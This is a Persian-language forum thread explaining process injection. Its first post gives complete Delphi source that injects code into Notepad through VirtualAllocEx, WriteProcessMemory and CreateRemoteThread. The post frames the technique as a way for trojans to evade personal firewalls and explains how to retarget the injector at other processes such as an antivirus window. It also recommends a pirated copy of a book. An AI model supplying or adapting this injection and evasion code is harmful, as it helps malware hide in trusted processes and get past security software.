نمایش نتایج: از شماره 1 تا 2 از مجموع 2

موضوع: Process injection چیست ؟

  
  1. #1


    عضو غیر فعال شناسه تصویری subzero_icecity
    تاریخ عضویت
    Jul 2006
    نوشته
    133
    سپاسگزاری شده
    16
    سپاسگزاری کرده
    30

    Process injection چیست ؟

    با سلام
    ------------------------------------------------------------------------
    ++ تو ادبیات امنیت نرم افزار ، Process Injection به تزریق کد باینری بهفضای آدرسی پروسه های دیگه گفته میشه . سیستمهای عامل مدرنی که از مدل Protected Mode استفاده میکنن ، برای هر پروسه با استفاده از ترکیب حافظهحقیقی و مجازی ، فضای آدرسی مستقلی رو تعریف میکنن که اجزاء یک پروسه ( توابع ، متغیر ها ، اشاره گر ها ، رفرنس ها ، کتابخانه های اشتراکی و ... ) داخل اون فضا آدرس دهی میشوند . پردازنده ، به نوبت ، کد ماشین رو بصورتجداگانه از هر فضای آدرسی دریافت و پردازش میکنه . اگر تو کد ماشین یامتغیر یا سایر موجودیت های باینری مورد نظرت رو ، بدون اینکه بطور مستقیممتعلق به یک پروسه باشن ، به فضای آدرسی اون پروسه تزریق کنی ، یک Process Injection انجام دادی .


    کاربرد ضد امنیتی آن و...

    اغلب فایروال های شخصی ، Access Control رو مبتنی بر پروسه فراخوان کدانجام میدهند . یعنی اگر فراخوانی کدی از طریق پروسه قابل اعتماد IExplorer.exe ( مرورگر ویندوز ) انجام شده باشه ، فایروال اجازه ایجاداتصال شبکه رو میده و اگر نه ، خیر . یک تروجان ، برای اتصال به شبکه ، باوجود یک فایروال شخصی توفیق چندانی نخواهد داشت ، اما با استفاده از یک Process Injection ساده و تزریق کد باینری مورد نظر برای ایجاد اتصال شبکهای ، به فضای پروسه IExplorer.exe میتونه فایروال رو دور بزنه .

    یک مثال برای درک مفهوم :


    program Project1;

    {$IMAGEBASE $13140000}

    uses
    Windows;

    function Main(dwEntryPoint: Pointer): longword; stdcall;
    begin
    {grzebiemy w notatniku}
    LoadLibrary('kernel32.dll');
    LoadLibrary('user32.dll');
    MessageBox(0, 'Czesc, teraz jestem tu w pamieci jako inny proces!', ':P', 0);
    MessageBox(0, 'Teraz mozemy tu robic co chcemy', ':P', 0);
    MessageBox(0, 'Nawet jezeli skasujesz *.exe, ja tu pozostane', ':P', 0);
    MessageBox(0, 'skasuj mnie (plik *.exe)', ':P', 0);
    MessageBox(0, 'widzisz?', ':P', 0);
    MessageBox(0, 'mowilem Ci', ':P', 0);
    MessageBox(0, 'Dobra, PAPA.', ':P', 0);
    MessageBox(0, 'Notatnik sam zamkne za Ciebie ', ':P', 0);
    ExitProcess(0);
    Result := 0;
    end;

    procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
    var
    Module, NewModule: Pointer;
    Size, BytesWritten, TID: longword;
    begin
    Module := Pointer(GetModuleHandle(nil));
    Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
    VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
    NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
    CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
    end;

    var
    ProcessHandle, PID: longword;
    StartupInfo: TStartupInfo;
    ProcessInfo: TProcessInformation;

    begin
    {zaczynamy nowy proces}
    CreateProcess(nil, 'notepad', nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
    {dajemy mu troszke czasu}
    Sleep(500);
    {no i wchodzimy w inna aplikacje }
    GetWindowThreadProcessId(FindWindow('Notepad', nil), @PID);
    ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
    Inject(ProcessHandle, @Main);//oto nasza procedura "wsadowa"
    CloseHandle(ProcessHandle);
    //i to wszystko
    //oprocz notatnika mozemy wykorzystac kazda uruchomiona w windowsie...
    end.
    • تابع Main در بدنه پروسه قربانی اجرا میشه . نسخه اصلی کد با دریافتنقطه شروع خودش رو تنظیم میکنه لیکن انتشارش لزومی نداشت . بعد از ورود بهکانتکست پروسه Notepad چند پیام نمایش داده میشه که نشاندهنده موفقیت آمیزبودن روند تزریق کد است

    • روتین Inject کد مورد نظر رو تزریق میکنه . به عنوان ورودی پروسه موردنظر رو در نقش قربانی دریافت ، نقطه مناسب برای شروع کد تزریقی رو پیدا وبا روشهای گفته شده در صفحه قبل فضای لازم برای ایجاد یک ریسمان راه دوررو به خودش اختصاص میده .

    • بدنه اصلی برنامه ابتدا یک نسخه از Notepad به عنوان مثال میسازد ،شماره پروسه رو دریافت و به روتین Inject ارسال میکنه . این روتین ، تابع Main رو به فضای آدرسی Notepad کپی میکنه . حالا کد ِ در حال اجرا ارتباطیبا برنامه ساخته شده توسط ما نداره و روی حافظه مختص به Notepad اجرا میشه .

    • حالا به چه صورت ميشه متوجه شد نرم افزاري که اجرا نشده در چه فضايي اجرا ميشه؟ابتدا هندل پروسه مورد نظرم - اينجا Notepad - رو بدست آوردم بعد فضاي موردنظرم رو اختصاص دادم نهايتا" يك Remote Thread براي اجراي كد مطلوب ايجادشده است . براي مطالعه بيشتر در مورد جزئيات و الفباي كاركرد عناصر ويندوزخصوصا" با ديد توسعه كاربردهاي سيستمي و امنيتي كتاب Windows Internals مارك راشنوويچ از M$ Press رو بخون . قيمت نسخهء چاپي اش كه تهيه اون روشديدا" توصيه ميكنم حدود 50 دلار است و نسخه الكترونيكي ش هم بصورت Warez منتشر شده است .


    اول براي اينکه بتونيم توي هر برنامه اي اينجکت کنيم بايد سورس را يه کم تغيير بديم


    اين قسمت از سورس را حذف کنيد:

    {lets make a new process}
    CreateProcess(nil, 'notepad', nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
    {give it some time to wake up}

    اين تابع يک نوت پد ايجاد ميکرد ... که ما ديگه باهاش کاي نداريم و بعد قسمت بعدي که بايد تغيير بديم

    GetWindowThreadProcessId(FindWindow('Notepad', nil), @PID);

    اين تابع بايد يه شکل زير نوشته شود.
    H:= FindWindow(nil,'power Meter');

    توجه داشته باشینکه nil اینباردر ابتدای شروع تابع نوشته شده.

    GetWindowThreadProcessId(H, @PID);

    البته ميشد هر دو تابع را در يک خط هم نوشت . براي اينکه سورس راحت ترقابل خوندن باشه و زياد با هم قاطي نکنيم به اين صورت تغيير دادميادتون هم باشه که يک متغير به نام H از نوع HWND تعيريف کنيد

    Var
    H:HWND;

    من براي اينجکت نام Power meter که در ويندوز به طور پيش فرض هميشه فعال هست استفاده کردمميتويند نامهاي ديگري مثل Symantec AntiVirus هم استفاده کنيد ، براي اينکه چک کنيد تابع داره درست مسير دهي ميشه ميتونيد مقدار بازگشتي H را هم نشون بديدمثلا

    Label1.Caption := Inttostr)H);


    اگر مقداري غير از صفر بود يعني درسته .. اگر هم مقدار صفر بود يعني هندل مورد نظر پيدا نشده ! در ضمن ميتونيد در قسمت MAIN تابع

    ExitProcess(0);

    را حذف کنيد که برنامه اي که اينجکت ميشه خاتمه پيدا نکنه و به کار عادي خودش ادامه بده .....



    موضوعات مشابه:

  2. #2
    نام حقيقي: HAMID ATAEI

    عضو غیر فعال شناسه تصویری ataei
    تاریخ عضویت
    May 2005
    محل سکونت
    Golestan
    نوشته
    295
    سپاسگزاری شده
    12
    سپاسگزاری کرده
    4
    سلام
    خسته نباشيد دوست عزيز
    اي كاش مي توانستيد براي نوشته هاتون مرجعي هم معرفي كنيد
    البته مي دونم كه اينها اغلب روشهاي ابتكاري و غيره ... است ولي تا اونجايي كه امكان دارد منبع معرفي كنيد خيلي بهتر مي شود و نوشته هاي شما را بهتر مي كند.



کلمات کلیدی در جستجوها:

پروسه چیست

Code Injection چیست

inject چیست

اینجکت چیست

DLL injection چیستپروسه چیست؟sql injection چیستdll injectoin چیستچیست؟proccessinjection چیستcode injector چیست؟پراسس چیست؟injection چيستتزریق dllچیست code injectionپورسه چیستپراسس چیستhttp:forum.persiannetworks.comf25t14250.html پروسه چيستcode injection چیست؟pimageoptionalheader جیست کار آن کاربردinject code چیستپروسه چيست  Code Injectionچیست؟WriteProcessMemory چیست؟

برچسب برای این موضوع

مجوز های ارسال و ویرایش

  • شما نمی توانید موضوع جدید ارسال کنید
  • شما نمی توانید به پست ها پاسخ دهید
  • شما نمی توانید فایل پیوست ضمیمه کنید
  • شما نمی توانید پست های خود را ویرایش کنید
  •